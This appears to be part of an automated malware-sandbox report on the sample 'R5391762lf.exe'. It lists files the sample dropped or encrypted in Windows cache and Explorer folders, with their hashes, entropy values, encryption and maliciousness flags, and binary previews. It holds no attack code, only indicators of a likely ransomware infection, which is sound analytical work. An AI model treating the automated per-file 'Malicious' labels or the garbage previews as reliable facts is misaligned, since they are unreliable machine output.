SHA-512:	1652084471DA29B4DDB455850570110540B48737E1257118C00A9093421BF0E41D6CF07C0F7D15FB805888D32E4883F694047E21DBA8CD2372931D6BB5DE18FD
Malicious:	false
Preview:	.... )&.`...X.#...i.d.V..L<8.o...n3...k;.....9q.t.Z.......'.....?z...ax.:.5.,.;..Kl..Y.V.....a.j.....8.r... f+....3.."r.......N".}......F.....1].-..P..{......H}G4...%...;..@....!d.)SL9.e..O.....K@......1..As...W]..G..Vx.........\|..N.O:..G.\|.....3S...2.h3A.u].zL.6.w...S.MQ3...}.H.V.5..w....u...17qM..j..f..=.L8.......I~...q./.......k..GdGK9L.%.... @(....}y{.ar..-.\.SU.b..c.$K>Fz..A.7y..:...6....U..d.~.U......~..i)oq.z.Mu_.X:y......2.(..?....XV5.....$,F/...;...7..C?R.A&.u....A..CX_.]q=-....'`.0.L.....n....@..=T.......4".K....o....+..p.LO.;.U4P....P%.+..2..}h.oU..MQx$..I.6R.k."..%......yn......rCh.z.a...?F.....eR..C...O.].u...Q.eP...;..jO.N...\...h#.\|..p..4N......(Op.6..6.....u.0g..>=.e.[.s......6W..jyW....3ko>..,..h.3..m%.D........-m...a.G......tSH.wM.....v..(rU.Y......%....."..2....(..N.&..s.u.....v...V....kJH.:..;.aM.p}Z.....g5{...$...-u@vq..../Y.;.:.........?:.^.T]<...o.......vn.sI.F.p#...-......~......g..J;.vE..........6.XD....-M...=X[\.F

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989837434683878
Encrypted:	false
SSDEEP:	384:oTXics3q3ig7Wkbrs2p88e9D6BKw7nfdOk/x1cCMcWxvJDPhtdF8wQ:o2Tq3LLufN6fnFOk/vcR7vJDPPdGd
MD5:	E5F2EB7FE6215FAA93C22F3F34F334B2
SHA1:	D2F49F835893865903F63834F73EA480725AA0E8
SHA-256:	02071B6045E450C8ADBA91556352F8B4EDC08D1B4121C99E33427B1F3B61E351
SHA-512:	178E278AFCE11EC808A63DBAD9F04BA70BC955D9E44C27BD108713F315D932ACF094FEF4DECC00A997EC3018CB92D689E245A43C2DD1026EB5A104BC098388AE
Malicious:	false
Preview:	....`\.#..d..}.k.E......JJ.....H.W4...l2..W.&O.Df.0.m........Z..R.....# 9.~Cf.eBI.y...6yz.\|:c.E...6..za.h..".X..5..tqH..D....B=....l.>k .7..).yi.z..S..N.XfI.d..".....a..k...m.z+.v.R...)>E....c5..A.^.K%yx......wl..cD-.c.ke.m......rz.;.Q...x.....7..A........(~.Nn.F`?.jKn.(...N-Q......@..,....<...z....Zln..s.~....<w.....M.;.IZ.S<Z..#T..'...4........TH.1...i.........I.....O..G.....7I.u.......U.Y..Ny.k....d.M.i(t....j....9KW....._.G.O.D..IE.]... ...1.y.#...3..0....../@.....;..4."....9..9yp...o..9s.L.GGW......,.......a.6.....{&^.....<K..........o..I...I..nM\..n.`Y.Lsp.2.. ....!..\.!.&._......ik.'^...!h....7....ZYl.i.G..S`.....De..x/....e5m?...o79........u.B...`..w.0.8.6...?.._.S`...%.8 x.x...rE....I_?RD.R3.>...........F.8cQ...f. ......7N.......t......4.b.E...^a$.......D.....Fm..b..K..p..4..Q._...I..s.x.5..J.)._...J....0.....a.'.........w.$.z........+f..8...~&H....lO.n..hDAf....D...p$*5....I..#..3.\|....s..D.k..:,9~.m...M..e..t.@q.-.B<.......?.e...A

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{29565D0C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.33285461307915
Encrypted:	false
SSDEEP:	6144:NT7LUBob49X6ea5EtML/FnO1WBm+vyJfbnQkK96B88yKv4bWTmTvEiLSx:xLRMKea5EGLlO1om+6dF4/y
MD5:	9D696D9AE61C8B17E74CA4669CBBB6C5
SHA1:	8377BF9B19FBAE1A24B0E1C71206E2C722B7940C
SHA-256:	EC19CEB4178897D67D9AF1099F441054C98314904F23A76682514A834E5CD6D5
SHA-512:	1CDAC0D37A482D03F10F6A3454142CDCFE8A137966BC9D38EA9072FCB7A04502D5B3A7D2FC4BB205F156F98543944705A8BBD3C1190862972D1DDA102F5C1CB1
Malicious:	false
Preview:	.w.. .SP&.3.R.#.;......e\|..Kpk.'...x.s...=c.........I...%b..h...8e..3.....1...c%...T."....~.,E.\|..@@.\|....g7...W.:..7... ....d.F... .s.{n.Gt.zI..6n.V..-...`..#..D<.(ONB..Ew}...]...P..Tn...r...>.._....E.7.\kq(;.W.......[.a}r#:..f....\...%b.m9!.S....S,...<.4......X~s.C..n...%..S.....a..[8..F...............4z..$.H..]:..u;..?7...kI.....(7..^...9..?..:.X.....=oK....).#............0.R...<..d.3..b...l.G...d:G.K.]."....cyJ..e.gQ-.....Wc..........\.2&1.P;&.r....Y...I0`.H.t.L<.mO.]J.....X.;.,e.HZ[.?...P..y.^c...d].RD.\|.......:......[\|.l.KT.2....4.........m8.:/.w?.o.2.,g....JHV..h.r..;q..l.`....R..c.r\.6...}Miy..c$.~;..>.........Ow.%...Iy'X..+.\.a..L/..R....K.,....h_..[..A3.vp..b..b...p..L.l..K....H3M... ...i3.P.....N;....k..i..1> .m:.N..tX.\|..%.0..c.I.uN8.#`RS.a.,..fX..A.{.....,.>$.:...j..W.!#"%.j.@..^S+.M.j.7...y..{".<.!..ss.=.3B...M.v.....=y]...op.V..s.. .E.uv.vt2U+.y...!....s!..nE..wG...t.`.o....{.ksy....(..2./...(..-..).!.d.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000010.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	104062
Entropy (8bit):	7.998286374777715
Encrypted:	true
SSDEEP:	3072:zqTIUe5pYguJA7IA+XXCEBO1Q+S4BbfaTLV6yYjtKn+:zoeHYgGAbYy8ZeSnkTpp
MD5:	668253300E0C0ABEA4F5A3081A4E9A62
SHA1:	CB3CAF6B6F7B406F5F9770DD2100B0E17E59BE0B
SHA-256:	5006941C98FA161145D9BF585BD2E1BB7E34F425A027809FE841D76FE144F55F
SHA-512:	B5C064A0411CEEE1C53AA521008060D9779F8DBC3E652D9FB8D84389C10517DDAF46CF9D874A9990336443C068317F73FD9D6A34530A46B2EABD87FBBD7E6DB7
Malicious:	true
Preview:	....hX.c3.!a....L..T(.7..h..v.HS.2.B3...l..6`....'.rN....p.....nm..9.b*...\|..5h...._...Er..+m.\...Mu\|6+.]^~^.B)1.y..6o..............S~....F...{$..~h..'.r.U.c}..o.O3/....Dkr@.....,D/.T2.`..F..z.......d.G....%.h'.R%.T-.G@o..3tX..7...!-.....~.l...a.5X..?i.}L,..l.6...)...O..z.4...Y.l.L-.Y&<n.By..6..M..!......\|!..._.cib..\|...M.(...w.p..g.....j....{.9....(..n0......f..y&.......#;...X)(.t#..L.....Kfc0..l.a....z.n..6..D7....hc5}.X]...~..Gf........[.A......F`..C..?.}........9N..+G4.[.@Q....d^..^.h2.O....q.#..m....)..S.jN.....M..uZ9Q..h.V.Q..D.....7.........a..k_78H......j'..W.....e.h.!...r.Z.....:.@.v8....}..fT..#4..........K.R....%....=.T...b`z....@.DH+...K.$O.sM.8.h.+..1........j?nr8b...._&......".l..Y...............Q.C...m....c..LF..\..... ...b&...^.....7.j.m.KP<bs.......1..{.N.$...eX...t.9..k.b.a..k._.:..BiS.8...l.Y....=F.L..;.~..U..u.O..Q.C$.+.s..u.8.....Y.....S..\|.H.<.Y../....e.$q.G.s.^......),dT;.u.yD...B..6Q..+&...]..../.."..&....

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000011.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998305630016988
Encrypted:	true
SSDEEP:	3072:HDcCtp+IelHYhkV5093Y7Z5YlOGvuDMQ997so3x:wCtp+IelHYW50hY1Seo+uoB
MD5:	76DA90F30E9F5F37EDA2FD946969EB0A
SHA1:	5A5B14EF611FC067D348658A74D7C7B8A6FE2CB1
SHA-256:	9A68B0FAD520A38DFDD7C39368C715A08BCBE9515A73BCDE174A8EB0D8BCA36C
SHA-512:	56AD0DC96015728778CFAAD12748B917CE66F4D65A03E4369D15590CD5C8CC22BC9D5366884F348C2D2A2806BE507DC54C7D73D5CCCCACA890153160222096FA
Malicious:	true
Preview:	....h".].....U.?..b.....Hl~%..h...BGh4 1...L..hK.......\|........y.x.\.g.r._K.iv...q..=...t.)~F...R..L.vz..F.p...."s`.._.r..Z"Cv/R.>.......zJ%.....XQ6S.2..@.b.4r.#.......se..[...D...b%...&..?gJ...x.B9.4.B....J`8.3h....qZ.~.5..;.m.C<s....r.~gh....V.2g..e....P.....TN..0........M..4./m.."wq.}.8....-.jH...h.lf....Cj...]...V.=..!..h.5.!6. .{9z.dP..X..;.....CE<..j...; ..^.wk.D...9..b.../..n......K_.tCKZ.....n.k>......N6.......=Bs@B...j..t..%.J<,+.O.uGF.R..."....7....b.j~.L..<....\..\|..eDX...l..5..5..2..]S....Q...v.g..h...5...5.p....e..os....i..q.4O..92...Do5.!..([..........M....&U...&.D0..$./`...$..G....3......i..[.../F.U...Y.R5r.`H....J.).....6...GI...0.--&...=.u.........1F..f...FH.OM.....$Q.9lr....g..?.S.A...t....S..".....,I6s.."..R.j....1..I.......\|5ly.,.`.&..s).WB..jv0?.[.......ST....acXE...S...#..f.2.....!...PD.5.%."G.^...vJ,rD..F!Z..2...]-Q.h.8.\.)#...[.;]../..Vh.M........n..N.A.....s....M........(.Y...b~B..........5.vL"..-Q0

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.997411069090939
Encrypted:	true
SSDEEP:	1536:FIY02htLfhJNYBE5VL/aqoZ63pTXvK+677Dvo0Qg7aPonRttd:nlJWiH35XypMrg7NRttd
MD5:	1CE72ABEA942275E379B838FFDF35F59
SHA1:	FA1EFE1380C5F6D8762CFB934B53D17629EF1F04
SHA-256:	7C877863B706228E39AE14E2280F92E52B63858CED1702E122AB710828D1961C
SHA-512:	31321D50624B52093BC9C24D0F8BA6C0EEF75B29F6D0E5942727DBE0A17931F2889EF19CE67E07818AB6B6BC5C4B8D68F6DCB2DBF0307703FBDA7EF4FC4D85C2
Malicious:	true
Preview:	............l.6sv.aF.}.&.....;.\|..Ka...v..a....J,.......B.9.....>.8G.H..0....e...,.$c..GV.....d;.g.q[.vW...,...T.Ml_....>n.Y.`.....h.H....7$..........r.F&..,L.)@>.++..d.>U............zF...lx........b.}P..`.\.1..3q.A.7.T...m.....]K....7m...\|. ^k9).b..).;v..F...B.t....]e...3. ..n.....Lc%.C.]..c#..u.sZ_:..^....6...0A....).a.tex.,/.C."8.j._..........n....x".W.3..4..!EF...0......y...\|.=.T..Q{...p...)]gb.m.2."wD.y..S...j!....(.q]w.vi4....y.Y..J.oN.b....R.B.....@...0.R_.1%MC...#+...E....{P..K.z...qsE/...8..a....@...{z...C.^.J.......I..b9..S...a.[....%..g[.......+..(N{. ./....{../...E["..lf ....GO.e.m.D..r....xs.en...\...............8.(p.(.[.C.Y.#......`{=..{.(..s7ZfF..8.@.@.....=:.i!..cS....%....Yp..........>.Fw....s8....}...}#....>.FW...i.%\|f.....5<..........d....xG.14...[.5........r..^b...i.we..N..g....@.n...6..*L.D..X../}..1..V.n.......Dr....C...YC...r.D.\'4xMhs..P.F...6.%<.k../..U..QL../...4..9Sc.1ii.. %....`.9...i..UiD.kB.w.....J5g...,...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	102742
Entropy (8bit):	7.998205913510948
Encrypted:	true
SSDEEP:	3072:NTXAaqf1Sq3On984A3ICk1bcr1CBceEYalOnK3P:5XVq9nO983Iiptlv
MD5:	82EC7DD7EAA4473332210217F43333F3
SHA1:	16836D3FD44AAB939F3749AE52587BA9A33651F2
SHA-256:	16BD105837F7875F4E9F3348EB233B84F57045A8AA6E7CE4C2CF5A307BFD53DE
SHA-512:	77DDDA24CCDA1F7B40FBEE0CFB8B8068A2B1F099CADF93F69BC016E1102960D0BC9E1DAAC4D45366076253C769BB235106BB908960A2EDFB829E465EFA68A5C4
Malicious:	true
Preview:	..............#Q).&.........I..._....p...j.....F.."b..+..[....N.M'i..9i..+.l[f.z..).d.y.....tU..Z..7......m.J....C..@^....e...DX.F-.....r..C%.D..I.;A..M,..0..x..^.#HR.B..y$.:...3...W.w6J..y.....$+J.........B.....r....v.$.-4..5t7...xv.XEI...........\|....Q......'..b.:L...a.v..^i.5~...M.D.q..&.....y]..r.P...O.[gkez\|......l....G....^.[..V7..R.~...0........hu..?jj..9bL......."....+.M. ..f...G8p.L.=4T...c.!.".O.R........0~..6.2..v..PB..M..(..v+...OE....nL..(..O\qk$U......yhR.1q.......iV.Vs................s_1Z.7.N=.N..l..w<........]..3.h/v.).i.M..a..y.qz..Lv\|../y.C]`Y.....<7.w...4.{...u.NL.....D.M.........x..q.,C..I......\.u.=...i........U..^.DQ..x.$`w.=r.%.....U.........qo.^.A.`..9......O..j.B.,....B.....l...n.../.Q33x\...w....)=I.....=+D....._Fq.@.N..k+..u.$.#O^.........jZ.V..0../.f..%.V.78..,.l.....v/.^..-...8R!.W.mH....g..........S..3.C...Lo...]...%............&...c.m.h...Kme..GV./..v.,...c.E.%r+Av}...d..3..nE...Ifd.......

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	614734
Entropy (8bit):	5.750377659108169
Encrypted:	false
SSDEEP:	3072:zGtBwylqhPjA1XT+b14fGuHWphtYQMENdSo8wrN4DKq4WmiJ05SKvJkQUhu9o4j8:zGQ+mg2vtbNgompmiJ6HvJLUUz8
MD5:	8DA2D11A48501816EBF693EFB9FA3D80
SHA1:	1A4B0C687E10CB27471BA648B247DF82637C8186
SHA-256:	9ECF5DBE37253F9A9B69665A5AD897212624DD5BFABF64DEF4B823C8830A8A65
SHA-512:	E3FE3298AB9704D34F7769A2ED95761417E3E6C9981EA668B7F65946B1CC36D37F6B2BB6CD765FD0B980102C0606A82CC904849015721474CA77F37D05F99E6E
Malicious:	false
Preview:	. ......v#......\ei..Qx.X.%.M.3w.......0I.u..;.../..>.:.J...ju......h...%].........Rn.....I6......4......On..G.A(.Bz..p.~.-..4....W.[..&...B..\...C/;..F.....B.A.{4..7.G.~.......F...RY...........;............$....+....j.x..J.~...O%1...............}u`...%...........t.j#."H.J.=..(.QU....4.5$..=u.$A....A...18v.....R.WCl.43.msNw.X<b.....76mH.B....S:...hh.V.O..H...f..d>J.2.N...#.#{k)09b.?.].....Z..../}. .x..1<.../^.d;.k.....&.E...B\|.6."...?.".n.P.1'.V..w.i/.x...{bO.$....=..........Y..o..Kg.}.\e^.+hx....Do......pD...1<.7.o..T....e..d/w......;mTT...k..`....y6.].....y....E.98...%?....-....@.:.,...H..kZ....-. c..P.._...>..(<u...&.zu...S...V..7/\|~..J.....d@M.}h....#..4.u.d.....7..j...t~..#2.#.O........3A..s?....~...S...x..l.....\|...d.5.W=b..........BH+..K)S.eK.........h$.....x.. k.^~.X.0..Bn4....XGt....Qd.)...$n./o...l......q.PF..@(..8.<m.. .[.....g5....Rh..)V.e4.*..{.:...p......c..Jf(...Z5.D....Xi.....'..9.q.....6$cD..J.......v..T..1..;e._

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992977192721181
Encrypted:	true
SSDEEP:	768:5pDFQtFB5Mnzd2UOHL2F83L8L/64PK3U1i4d:5pDgPOnzd2hrM83L8L/6eK3B+
MD5:	A4D8C913C70B52C7DB123A44CC85C0C5
SHA1:	DB536439EE977324833D77ECD2872C18E02514B1
SHA-256:	9BE099F38B90CB739305948A8424D14AF0980D8A070AED4555CA854A93C1F0EE
SHA-512:	FCA84F621958130A2E5048C11E4180DF83B242B49C3EE06AF94F5F654873982991B06B50AAF1AEC712986742DDFDF3DED2490195A363D1A0AA142169D8BD76E5
Malicious:	true
Preview:	. ...7<.ia..7./.6.p(../#:.z...!... ....9!N..&.#{..&C......[....k_.]mR\|..e(....B..[0/.S...v..........Z...W(....t..(o.j8$........@..\|q.y......=F....^...,.X./".....Mg......\|U. ..t(...\|...?...I.<..v9=......].....=.>.....y;:-..9..Jf.J.-...#..s...nxut@G..z..-...l...-M....C..i3..j.G.Rm..Q...J..c....g .qi..m.....cU.^..iLz......l,..3...s.5Y/...K/.. u9S...NCm...'..e.x.G.Y..R.@(..m.&Z..c.G....1{....o...%..2.yF.t....Y/9....B.....o...U...}..S..}....8(./.T...Jmd}y]R..\.cp..2..]......$....0._X..=....,.H..OI.....U....5.E.9vT....[&...z..V......AP.n..V.....G..$+..n..Il$.=~ .....U2...&...P.>.E.V.Y..u......G.."t%.E...<_.{.....P...a..L~.B.,.<.8...U....$Hj.,.Lg..#.,..]....7.V.........1..;.nU.F.]..E....=...}D..=)..v..Ei..E...w\.P..]-.W(i8;..W8C.l?.q...R....3.....F.x.Y.$b...>............+. ....q..T...Pg...t..*Ll...0.73..H....U..u......Y~o...Hm..x;.[xQ..MK...l1.ww\|.:..!=.....h......o..?....i..Jx6.]l.x.>.k....F..{.J-M.....\|.K....fR."^.,.da..Q]]9

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.235325581891129
Encrypted:	false
SSDEEP:	6:eE9VmRoKeANcXKq4V0qjVllEUaz+ukXuufgH5TJ5etXqHk7T3eWcii96Z:eEHm6KeAGaqGnlW+P0TJ5IXqOTuWciik
MD5:	9B6F00CE53E94C9A58938DE89821831A
SHA1:	234B86A1324F3071B3C9D88D635A7F36FA2D43A4
SHA-256:	B77EBC4423EC031966FEF86187F8A0256A2ABF5B97115171D8A4DFA9C6702829
SHA-512:	22ABD07EDB6FF2E803D0AA350085277B005410DE087F8DCFF8CF8FB66AE0332109B43DCFF1EE5B93EABC8AA0FDDEF5D3459CB8DCC24B86F6BE946BC5F8B21A00
Malicious:	false
Preview:	CMMM 5.H...y.I;JZ.+.....w...y....N..c..3d..k.HqV.FLt.=.%.Q".....J.....Z.vG./.s.r...Q..ep....).DNd<h:4?J.Q..WR.....k~......W.2F.@...<.L...K.(=.k.....<....[L@d.q ..}.+x... 0...'..~P.<2......1....1..d.........-.S.u.6..U!....Q=....+.Q......r..2.J.....R-..\9...:)Zx.1s.Y....Edoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.297166267610173
Encrypted:	false
SSDEEP:	6:QyQ6gCeygPGiDmQqKgzbdK1Q9uN2Mu+L5J9tFntXqHk7T3eWcii96Z:QyFHeSiqQqnKZNjjFtXqOTuWcii9a
MD5:	5C5A7DC3F7E690B70E9006B68F505A82
SHA1:	3058FD8E8A3FB2A37927FB4131108939F7F1659B
SHA-256:	0724D01FC1C5DEF0A276F4AAFB74616A136880654FA6A5B680A20FAD5F30DB6D
SHA-512:	45DAD6BD986D9F2D329C3E658854EF3623DC53A8A4691D0325645A85D8A24B96CE8D4A0FADF726A1ACA93477FCFA802DB57EFEF98698BF059B0E959100C9C13B
Malicious:	false
Preview:	CMMM ..^..U..Y.......m.P.XY.8....Q.w/ ......`.....{Y...m/...+....J).....o....f..=....b#E.'mQ... %.mi..}.\.=D.I8....iI...To5.wP.J...~>.%...o...thaul.=)t \|4%}......P.!i...T..C.;.7F...a....r.i...)i.aV....g.2.w..Q*.b...n..g\|.L.r5....#?...I...~..9%.........~.q..t3doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.241606727353382
Encrypted:	false
SSDEEP:	6:enKELrL43pT2DumLmgo0AaZCdR/JyiEd1xD1PpZ2qV/sNdtXqHk7T3eWcii96Z:kq5kto0VZeR/JyR3vVwDXqOTuWcii9a
MD5:	89FE05C203584F0A1C26F7879C3B980E
SHA1:	D05CC4D79ADBA25D950136EE115A7A59B21C8459
SHA-256:	221A95E19268F2A69A1741C0042395CABC4093517628FC99D23FF3F763EA2A18
SHA-512:	2D8E7DD914505ECF410E07570A37049601F616798287F768C3627D7E9AC580AB5B1FBD98B0A1C7DC7F75DD668D6F525D586FB46AE4F7E16B11D1A055DD35F17D
Malicious:	false
Preview:	CMMM ........$_...7....~.....fY..p.Ey.=.YS_..On.k..FR........vT;.S.k/.2K.h..F...%v.U<.`..u~L`.D.vp."...q..F..s.+..n.e..........9.....M..@$.....+^.4..A\|..tK...ag!.~->...v...%?....``.=.MN..c%~...&...W...{4#R./^z.o..;[.........R.$K...@.8."5........f}.~.@~...........E...uL.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279452746966886
Encrypted:	false
SSDEEP:	6:FfbFQPbKK9V6nCizIN4cwPgo3IuNAIOEPKL2IuyaItXqHk7T3eWcii96Z:FfbFYl9bN4cpoYi9iuPKXqOTuWcii9a
MD5:	BB62E8D8E779D74986FF041F04DA6BED
SHA1:	012787D6C42F52EC1C806418C9068E6B9FAF3EC8
SHA-256:	B91830B64DC2BE430FB269A52331EE2947D651341D85D9ADD877F33B5F44C5E4
SHA-512:	BEE6BF0716504EEB5659ECEDE77D6F9C48534762A94FA10E7397920897803222AB1D347CECDA0373DEF334FF2B65D5B3C1A57FB3A5414700F92E25832297B4C7
Malicious:	false
Preview:	CMMM dw:..."v...x....c.$..E. .I....d..X.Q..g.5}.3{%5.m.H...k.Z.F{...9....0..b.G.}"/.@....~=.z.4)..'{.x....D&c.6....h..!8........(I:.}Y.....W.y.....6..0W........{y...r.M..z..&ytV..I.[.Y.y..&@..i.%P.#(......X.8.n..G3....~....4.}.z9.r..o.mE.zF..X......u..'...^S..m.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.290003533205645
Encrypted:	false
SSDEEP:	6:bF2I+YQHKBcs8EhplTbQJ0yUkES2EvBbr3/avzXLEuaItXqHk7T3eWcii96Z:pEdHKBcs88T60dQmvzbjXqOTuWcii9a
MD5:	E523BB7B17A421E69091CFD20622F4FD
SHA1:	473E7453F81AA495ABCB643B4460378CB864E3F6
SHA-256:	A69C7C7CAE1CD5B1BC9BECDC734B4F58A4356110BEB44DE0A71F6B4A20AABCE7
SHA-512:	B751C8DE7CEDF68E01FE60E2E68CDDD3910BDB807598184967236A95740CBF478C6DA08E593FFB1B2E25B81EB7B4CDBBC0B4625D7953021EE998B8013F2E4DBD
Malicious:	false
Preview:	CMMM .V^.O.\|.].... .P#..M......~...Kw..+3..H/...2D...w...s.A@...%...l..!......b.qP\|.fC...Yl;....;.6..zu.....m......:..*.1=#.d/.. $...gR...>...!K.lF6Z.$t.......W....P.!...Z@.J....;C.&.<>....>Xc..kZh.a.;.!.....AJ2;.a.m-.3......;,.....0..G....U......v...7Ayk.J.<$.u....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285488028874462
Encrypted:	false
SSDEEP:	6:E5WqdscKa5KWlp9qz57OcEULJmiEoCrDCKlmorCFH1Wji8UifKQ/PhUtXqHk7T3n:EIwsQJlzqz5TzJVEoCGnoO91WDzsXqOj
MD5:	4D16CC66EBC89F97DCBF2015CEC65A68
SHA1:	C15EBF7EB2FC6A47D41A2E96C7E2E238A7552C87
SHA-256:	8026404735104A7667AAADE5C93CCA20622AE963B937B5914C51A777277E0ED2
SHA-512:	FBF12CA7CB9E86485919EF4C4CCB36909D5A907471B16C0F340B15511697F61B0183C62CDBB53B7A2BA6E8F88A6FB083B53F1ABBBD8D7A57808B702281948D38
Malicious:	false
Preview:	CMMM tK$.-.3qC.6L....#......l....Q.[....c.Ht.].]}0...V.K..,.ji..S.~!.S..<......:.b.vg..Yf.=..9#..#'...~Ys......\d.......C...U#.OW..s.....3...L.f.<.....mf...N.;....k.#.X..l).^$..2.".W..q..g~./.VZYB..O.....Y... ....Au..p...Vj..4....Q.s#T.......q..4M....ch....w.p^doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303382922607888
Encrypted:	false
SSDEEP:	6:TccPmanjoR2P+gW9m7zEW2MVxIQglWStAlF5c86DopA8Yil9UXMtXqHk7T3eWciD:jm2urHpzMVxwHVcpVcuXqOTuWcii9a
MD5:	F146DED33995BC67DEB191FC799D9457
SHA1:	662960C0D2E6100BDBE7A596C366396A8338C5A1
SHA-256:	32DA5B17B4921725C15B5393EAC0FC14CAC0899E19A951CB31FEE7CB67657243
SHA-512:	6584961189C6A4CB86659773B033723BF6E4FD913E3AB11AF45CF6AEADF46241DCC7C91FD78B2C41D8CD50B1A9CB0FF75100D8D8E06549EC3B9BF0B5BCE8AA6C
Malicious:	false
Preview:	CMMM h.....X.....P9..y..E.b[.......h..+...T.q..Y.og.8.-L..'.C.+....yNbM...CC.C..... ......B..;*.....n.......(....t5.x.@R...}?.n.<(....v^.%....uc>.7...>w..\|...E.......m1O.c..#.....E#.........<...y....`}..};.X..@....jJ.<....p.k]..^6..T6..uQ.E.3N..Y}G.9f?..=C.r.>.^.gT..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.208600354474097
Encrypted:	false
SSDEEP:	6:GASre50t5ZREhuvD10Qi4pe4ZpJL3FfYwXmyu6dK23LrNLMtXqHk7T3eWcii96Z:GNrk0HE21PZptEwXLuA3nNLeXqOTuWcq
MD5:	AA05A78A18A0AEF21E8153669D8B86E6
SHA1:	A7E494F6FFAAC0652C4F89F99308EDDFB141A72E
SHA-256:	E79238E93C544BB29FF102B8C33BBFC4B28018D61B77D2F167881383B687542E
SHA-512:	921C18CE164233E6A533F4EDCA383B312F870C4E40A2C15B9DC2D4B0FA891712754730755306853671AE0D2F0263ABCCF546A9EEB1DE59C214AD7AC60E0BAA85
Malicious:	false
Preview:	CMMM =..M.]....{....H..JAg+..;.H...C...:z.*....c...\|.g....../...l..s.=..I.P..I.....,..7.A,....v..qM..{...E~....,.(.#S. .[.^o.}........g&....@!-..V.[.N\|.B.W..t.._...$!T#..\|ei..o.[..L=@K.g.Rc.@-.......p..g..8.2..Q..u.)....&... .yC.......YIs_.?...-...EM..In..B.z...i..odoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.215341365738606
Encrypted:	false
SSDEEP:	6:TRMZj5v4BNOdDNwFS8/gakvpNfXyhnHOrJ6bsl9s40tXqHk7T3eWcii96Z:Ta5gmd2cJxNfChnHOrJ64le4GXqOTuWX
MD5:	830D44CD555CA60806A02292B428D020
SHA1:	230D8806EA1F8E4B9B6ECBC4CA0996D58B158094
